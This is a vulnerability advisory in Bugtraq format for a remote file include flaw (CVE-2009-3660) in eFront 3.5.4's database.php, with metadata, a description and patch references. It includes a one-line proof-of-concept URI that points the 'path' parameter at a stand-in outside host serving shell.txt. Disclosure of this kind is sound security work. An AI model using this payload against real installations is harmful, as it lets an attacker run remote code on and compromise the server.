eFront 'database.php' Remote File Include Vulnerability

Bugtraq ID:	36411
Class:	Input Validation Error
CVE:	CVE-2009-3660
Remote:	Yes
Local:	No
Published:	Sep 15 2009 12:00AM
Updated:	Apr 13 2015 09:06PM
Credit:	cr4wl3r
Vulnerable:	Epignosis eFront 3.5.4
Not Vulnerable:

eFront 'database.php' Remote File Include Vulnerability

eFront is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the computer; other attacks are also possible.

eFront 3.5.4 and prior versions are vulnerable.

eFront 'database.php' Remote File Include Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/[path]/libraries/database.php?path=http://www.example2.com/shell.txt???

eFront 'database.php' Remote File Include Vulnerability

Solution:
The vendor has released a patch. Please see the references for details.


Epignosis eFront 3.5.4

• Epignosis Patch for 3.5.4
  http://svn.efrontlearning.net/repos/efront/trunc/libraries/database.ph p

eFront 'database.php' Remote File Include Vulnerability

References:

• eFront Homepage (Epignosis)
  
• eFront vulnerability issue (minor but please read) (Epignosis)